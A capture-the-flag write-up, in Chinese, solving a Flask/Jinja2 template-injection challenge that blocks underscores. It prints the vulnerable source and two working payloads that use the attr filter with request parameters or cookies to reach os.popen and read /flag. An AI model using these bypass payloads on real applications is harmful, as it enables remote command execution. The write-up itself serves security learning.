Werkzeug/1.0.1Python/3.8.7
    看源码EXP

    1. /?name={{lipsum|attr(request.values.a)|attr(request.values.b)(request.values.c)|attr(request.values.d)(request.values.tari)|attr(request.values.f)()}}&tari=cat%20/flag&a=__globals__&b=__getitem__&c=os&d=popen&f=read

    image.png

    源码

    1. from flask import Flask
    2. from flask import request
    3. from flask import render_template_string
    4. import re
    5. app = Flask(__name__)
    6. @app.route('/')
    7. def app_index():
    8. name = request.args.get('name')
    9. if name:
    10. if re.search(r"\'|\"|args|\[|\_",name,re.I):
    11. return ':('
    12. template = '''
    13. {%% block body %%}
    14. <div class="center-content error">
    15. <h1>Hello</h1>
    16. <h3>%s</h3>
    17. </div>
    18. {%% endblock %%}
    19. ''' % (request.args.get('name'))
    20. return render_template_string(template)
    21. if __name__=="__main__":
    22. app.run(host='0.0.0.0',port=80)

    web365 基础上多过滤了 _

    思路类似于前面利用 GET 参数来替换,EXP 有个比较陌生的 |attr,参考官方文档可知
    https://jinja.palletsprojects.com/en/2.11.x/templates/#attr

    Get an attribute of an object. foo|attr("bar") works like foo.bar just that always an attribute is returned and items are not looked up.

    foo|attr("bar") 等价于 foo.bar,可以完美通过字符串获取属性。
    因为无法使用下划线,即 __globals__.xxx,所以换成 |attr(request.values.a)|attr(request.values.b) 形式。

    其他解法,Cookie传参

    1. /?name={{(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)}}
    1. Cookie:x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat /flag').read()